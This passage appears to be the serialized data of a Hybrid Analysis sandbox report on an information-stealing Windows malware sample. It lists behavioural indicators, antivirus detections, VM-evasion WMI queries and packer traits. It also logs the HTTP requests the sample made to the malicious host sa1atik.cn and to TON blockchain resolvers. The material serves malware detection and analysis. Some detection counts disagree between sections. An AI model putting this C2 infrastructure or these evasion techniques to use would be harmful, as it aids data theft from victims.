ProcessMitigationPolicy","origin":"API Call","mitre_attack_id":"T1497.001","relevance":1,"id":"api-323","sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"level":"suspicious","category":"External Systems","name":"Sample was identified as malicious by at least one Antivirus engine","description":"14/26 Antivirus vendors marked sample as malicious (53% detection rate)","origin":"External System","id":"avtest-0","sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"level":"suspicious","category":"General","name":"POSTs data to a web server","description":"$43","origin":"Network Traffic","mitre_attack_id":"T1041","relevance":5,"id":"network-4","sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"level":"suspicious","category":"General","name":"Sends UDP traffic","description":"\"UDP connection to 1.1.1.1\"","origin":"Network Traffic","mitre_attack_id":"T1095","relevance":1,"id":"network-5","sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"level":"suspicious","category":"Network Related","name":"Sends traffic on typical HTTP outbound port, but without HTTP header","description":"UDP traffic to 1.1.1.1 on port 443\n TCP traffic to 104.16.249.249 on port 443 is sent without HTTP header\n TCP traffic to 1.1.1.1 on port 443 is sent without HTTP header\n TCP traffic to 152.53.49.102 on port 443 is sent without HTTP header\n TCP traffic to 172.66.170.210 on port 443 is sent without HTTP header\n TCP traffic to 151.101.66.132 on port 443 is sent without HTTP header","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-23","sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"level":"suspicious","category":"Pattern Matching","name":"YARA signature match – Anomalous PE file structure","description":"YARA signature for null IAT Directory of PE file \"sample.bin\"\n YARA signature for invalid Timestamp of PE file \"sample.bin\"","origin":"YARA Signature","mitre_attack_id":"T1027.013","relevance":1,"id":"yara-153","sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"level":"suspicious","category":"Remote Access Related","name":"Contains references to WMI/WMIC","description":"Found string \"\\\\.\\root\\cimv2\" (Indicator: \"root\\cimv2\"; in Source: \"00000000-00001124-00002713-3131929780\")\n Found string \"\\.\\root\\cimv2\" (Indicator: \"root\\cimv2\"; in Source: \"00000000-00001124.00000000.264273.039D2000.00000004.mdmp, 00000000-00001124.00000001.266193.03990000.00000004.mdmp, 00000000-00001124.00000002.268114.03990000.00000004.mdmp\")\n Found string \"WmiPrvSE.exe\" (Indicator: \"wmiprvse.exe\"; in Source: \"00000000-00001124.00000000.264273.06000000.00000004.mdmp, 00000000-00001124.00000001.266193.06000000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1047","relevance":3,"id":"string-30","sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Calls an API typically used to enumerate process encountered in a system snapshot","description":"$44","origin":"API Call","mitre_attack_id":"T1057","relevance":5,"id":"api-104","sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Executes WMI queries to gather system information","description":"\"5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe\" issued a query \"Select Name from Win32_VideoController\"\n \"5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe\" issued a query \"select TotalPhysicalMemory from Win32_ComputerSystem\"\n \"5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe\" issued a query \"select Name from Win32_Processor\"\n \"5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe\" issued a query \"select * from Win32_OperatingSystem\"","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-183","sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Found an instant messenger related domain","description":"\".skype.com1&0\" (Indicator: \"skype.com\")\n \"community-stage.skype.com1\" (Indicator: \"skype.com\")","origin":"File/Memory","relevance":10,"id":"string-61","sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"level":"suspicious","category":"System Security","name":"Modifies Software Policy Settings","description":"$45","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-19","sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Entrypoint in PE header is within an uncommon section","description":"\"5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe\" has an entrypoint in section \"UPX1\"","origin":"Static Parser","mitre_attack_id":"T1027","relevance":10,"id":"static-4","sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Imports suspicious APIs","description":"VirtualProtect\n LoadLibraryA\n GetProcAddress","origin":"Static Parser","mitre_attack_id":"T1106","relevance":1,"id":"static-1","sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Timestamp in PE header is very old or in the future","description":"\"5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe\" claims program is from Thu Jan 1 00:00:00 1970","origin":"Static Parser","mitre_attack_id":"T1027","relevance":10,"id":"static-3","sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"level":"malicious","category":"External Systems","name":"Sample detected by CrowdStrike Static Analysis and ML with relatively high confidence","description":"CrowdStrike Static Analysis and ML (QuickScan) yielded detection: win/malicious_confidence_100% (W)","origin":"External System","relevance":10,"id":"avtest-8","sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by a large number of Antivirus engines","description":"14/26 Antivirus vendors marked sample as malicious (53% detection rate)","origin":"External System","relevance":10,"id":"avtest-3","sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by a trusted antivirus engine","description":"Trusted antivirus vendors count marked sample as malicious (count = 2)","origin":"External System","mitre_attack_id":"T1204.002","relevance":10,"id":"avtest-5","sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"level":"malicious","category":"Network Related","name":"Application communicates with a malicious domain","description":"Contacted Domain: \"sa1atik.cn\" has been identified as malicious","origin":"Network Traffic","mitre_attack_id":"T1566","relevance":10,"id":"network-88","sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]}],"incidents":[{"name":"Spyware","details_count":2,"details":[{"detail":"POSTs data to a web server"},{"detail":"Found a string that may be used as part of an injection method"}],"sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"name":"Evasive","details_count":3,"details":[{"detail":"Executes WMI queries known to be used for VM detection"},{"detail":"Found a reference to a WMI query string known to be used for VM detection"},{"detail":"PE file has a section name known to be used by a packer/protector"}],"sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"name":"Network Behavior","details_count":1,"details":[{"detail":"Contacts 4 domains and 4 hosts"}],"sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]}],"intel_graph":{"map":{"Domain:cloudflare-dns.com":{"type":"Domain","value":"cloudflare-dns.com"},"Domain:sa1atik.cn":{"type":"Domain","value":"sa1atik.cn"},"Domain:ton.access.orbs.network":{"type":"Domain","value":"ton.access.orbs.network"},"Domain:tonapi.io":{"type":"Domain","value":"tonapi.io"},"File:5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7":{"type":"File","value":"5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7"},"File:b2a7b0c07e3a902568c0688376632221f696dfad34de120a821c4d4b7666aa88":{"type":"File","value":"b2a7b0c07e3a902568c0688376632221f696dfad34de120a821c4d4b7666aa88","verdict":{"verdict":"malicious","verdict_source":"ClamAV Antivirus","reasons":["Associated with known malicious activity"]},"filetype":"PE32 executable (GUI) Intel 80386, for MS Windows, 6 sections","filetype_short":"PE32","mime_type":"application/x-dosexec"},"Ip:1.1.1.1":{"type":"Ip","value":"1.1.1.1"},"Ip:104.16.249.249":{"type":"Ip","value":"104.16.249.249"},"Ip:151.101.66.132":{"type":"Ip","value":"151.101.66.132"},"Ip:152.53.49.102":{"type":"Ip","value":"152.53.49.102"},"Ip:172.66.170.210":{"type":"Ip","value":"172.66.170.210"},"Url:/route/1/mainnet/toncenter-api-v2/runGetMethod":{"type":"Url","value":"/route/1/mainnet/toncenter-api-v2/runGetMethod"},"Url:/sa1at/":{"type":"Url","value":"/sa1at/"},"Url:/v2/dns/remoteadministratortool.ton/resolve":{"type":"Url","value":"/v2/dns/remoteadministratortool.ton/resolve"}},"chains":[{"id":"1553791136169337971","root":"File:b2a7b0c07e3a902568c0688376632221f696dfad34de120a821c4d4b7666aa88","edges":[],"verdict":{"verdict":"malicious","verdict_source":"ClamAV Antivirus","reasons":["Associated with known malicious activity"]}},{"id":"sandbox_network","root":"File:5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7","edges":[{"edge_kind":"contacted_ip","from_key":"File:5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7","to_key":"Ip:1.1.1.1"},{"edge_kind":"contacted_ip","from_key":"File:5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7","to_key":"Ip:104.16.249.249"},{"edge_kind":"contacted_ip","from_key":"File:5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7","to_key":"Ip:152.53.49.102"},{"edge_kind":"contacted_ip","from_key":"File:5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7","to_key":"Ip:172.66.170.210"},{"edge_kind":"contacted_ip","from_key":"File:5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7","to_key":"Ip:151.101.66.132"},{"edge_kind":"contacted_domain","from_key":"File:5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7","to_key":"Domain:cloudflare-dns.com"},{"edge_kind":"resolves_to","from_key":"Domain:cloudflare-dns.com","to_key":"Ip:104.16.249.249"},{"edge_kind":"contacted_domain","from_key":"File:5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7","to_key":"Domain:sa1atik.cn"},{"edge_kind":"resolves_to","from_key":"Domain:sa1atik.cn","to_key":"Ip:152.53.49.102"},{"edge_kind":"contacted_domain","from_key":"File:5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7","to_key":"Domain:ton.access.orbs.network"},{"edge_kind":"resolves_to","from_key":"Domain:ton.access.orbs.network","to_key":"Ip:151.101.66.132"},{"edge_kind":"contacted_domain","from_key":"File:5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7","to_key":"Domain:tonapi.io"},{"edge_kind":"resolves_to","from_key":"Domain:tonapi.io","to_key":"Ip:172.66.170.210"},{"edge_kind":"contacted_url","from_key":"File:5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7","to_key":"Url:/sa1at/"},{"edge_kind":"contacted_url","from_key":"File:5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7","to_key":"Url:/v2/dns/remoteadministratortool.ton/resolve"},{"edge_kind":"contacted_url","from_key":"File:5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7","to_key":"Url:/route/1/mainnet/toncenter-api-v2/runGetMethod"}],"verdict":{"verdict":"unknown","verdict_source":"sandbox"}}]}},"activity":{"stats":{"process_count":1,"spawned_processes_count":1,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":3,"imported_dlls_count":61,"dropped_files_count":0,"extracted_files_count":0,"files_written_count":4,"files_deleted_count":0,"registry_keys_created_count":1,"registry_keys_modified_count":0,"registry_keys_deleted_count":0,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":1,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":5,"dns_resolutions_count":4,"contacted_urls_count":3,"http_requests_count":3},"behavior_tags":["wacatac","rat","wacapew","salatstealer","phonzy","criminal","informationstealer","windows-server-utility","suspicious","malicious","evasive"],"sample_flags":["Network Traffic"],"sandbox_reports":[{"id":"6ab936bead39e2b2010bf0c2","environment_id":160,"environment_description":"Windows 10 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"Dump:Generic.Dacic.18086","contacted_countries":["AUT","USA"],"submit_name":"5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe","analysis_start_time":"2026-09-27T15:31:11+00:00","indicators_count":{"informative":116,"suspicious":34,"malicious":4},"tags":["Network Traffic"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":[{"address":"1.1.1.1","port":443,"protocol":"UDP","sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"address":"104.16.249.249","port":443,"protocol":"TCP","sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"address":"152.53.49.102","port":443,"protocol":"TCP","country":"Austria","sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"address":"172.66.170.210","port":443,"protocol":"TCP","sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"address":"151.101.66.132","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]}],"dns_resolutions":[{"domain":"cloudflare-dns.com","address":"104.16.249.249","ttl":300,"country":"-","sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"domain":"sa1atik.cn","address":"152.53.49.102","ttl":300,"country":"Austria","sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"domain":"ton.access.orbs.network","address":"151.101.66.132","ttl":144,"country":"United States","sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"domain":"tonapi.io","address":"172.66.170.210","ttl":300,"country":"-","sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]}],"http_requests":[{"host":"sa1atik.cn","host_ip":"152.53.49.102:443","url":"/sa1at/","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /sa1at/ HTTP/1.1\nHost: sa1atik.cn\nUser-Agent: Go-http-client/1.1\nContent-Length: 88\nContent-Type: application/octet-stream\nAccept-Encoding: gzip","sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"host":"tonapi.io","host_ip":"172.66.170.210:443","url":"/v2/dns/remoteadministratortool.ton/resolve","method":"GET","response_code":"404","response_phrase":"Not Found","header":"GET /v2/dns/remoteadministratortool.ton/resolve HTTP/1.1\nHost: tonapi.io\nUser-Agent: Go-http-client/1.1\nContent-Type: application/octet-stream\nAccept-Encoding: gzip","sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"host":"ton.access.orbs.network","host_ip":"151.101.66.132:443","url":"/route/1/mainnet/toncenter-api-v2/runGetMethod","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /route/1/mainnet/toncenter-api-v2/runGetMethod HTTP/2\nHost: ton.access.orbs.network\nUser-Agent: Go-http-client/2.0\nContent-Type: application/json\nAccept-Encoding: gzip","sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]}]},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}],"processes":[{"pid":1124,"ppid":0,"name":"5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe","command_line":"","sha256":"5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7","normalized_path":"C:\\5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe","uid":"00000000-00001124","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAA6UgIhRBPKvFtlTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50refsbU/OstCIAAAAASUVORK5CYII="}],"all_imported_dlls":["shlwapi.dll","profapi.dll","sxs.dll","sechost.dll","win32u.dll","imm32.dll","winmm.dll","IPHLPAPI.DLL","wbemdisp.dll","gdi32full.dll","msvcp_win.dll","combase.dll","ole32.dll","dnsapi.dll","msasn1.dll","gpapi.dll","wow64.dll","user32.dll","FWPUCLNT.DLL","secur32.dll","wbemcomn.dll","wbemsvc.dll","ntdll.dll","wow64win.dll","cryptbase.dll","vcruntime140.dll","cryptsp.dll","wbemprox.dll","cfgmgr32.dll","powrprof.dll","dhcpcsvc.dll","oleaut32.dll","msvcrt.dll","mswsock.dll","uxtheme.dll","crypt32.dll","apphelp.dll","sspicli.dll","fltLib.dll","nsi.dll","wmiutils.dll","gdi32.dll","bcrypt.dll","kernel32.dll","KernelBase.dll","msvcp140.dll","userenv.dll","VxSSL32.dll","ucrtbase.dll","winmmbase.dll","rasadhlp.dll","dhcpcsvc6.dll","kernel.appcore.dll","clbcatq.dll","fastprox.dll","rsaenh.dll","wow64cpu.dll","ws2_32.dll","rpcrt4.dll","bcryptprimitives.dll","advapi32.dll"]},"file_activity":{"dropped_files":[],"extracted_files":[],"files_written":[{"path":"\\Global??\\FltMgrMsg","sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{D03DB0C1-2729-4674-A875-8625DD784300}","sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{D27478B9-2058-11E8-B41F-806E6F6E6963}","sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{3FC98E00-C370-43D9-A2DC-B067CC06FAD9}","sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]}],"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKLMHKLM\\SOFTWARE\\WOW6432NODE\\MICROSOFT\\WBEM\\CIMOM\\","sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]}],"keys_modified":null,"keys_deleted":null},"mutex_activity":{"mutex_created":[{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:1124:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"name":"SM0:1124:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"name":"\\BaseNamedObjects\\WEBR_JV35EBZ1U80V","sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]}]}},"report_ids":{"sandbox_job_ids":["6ab936bead39e2b2010bf0c2"]}}}]]}] 20:null 24:[["$","title","0",{"children":"Malicious Dump:Generic.Dacic.18086 Sample 5169d3ed9f74… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample 5169d3ed9f74…. Malware family: Dump:Generic.Dacic.18086. Threat score 100/100. 15/27 AV engines flagged this file. 4 malicious and 22 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7"}],["$","meta","4",{"property":"og:title","content":"Malicious Dump:Generic.Dacic.18086 Sample 5169d3ed9f74… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample 5169d3ed9f74…. Malware family: Dump:Generic.Dacic.18086. Threat score 100/100. 15/27 AV engines flagged this file. 4 malicious and 22 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious Dump:Generic.Dacic.18086 Sample 5169d3ed9f74… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample 5169d3ed9f74…. Malware family: Dump:Generic.Dacic.18086. Threat score 100/100. 15/27 AV engines flagged this file. 4 malicious and 22 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L46","11",{}]]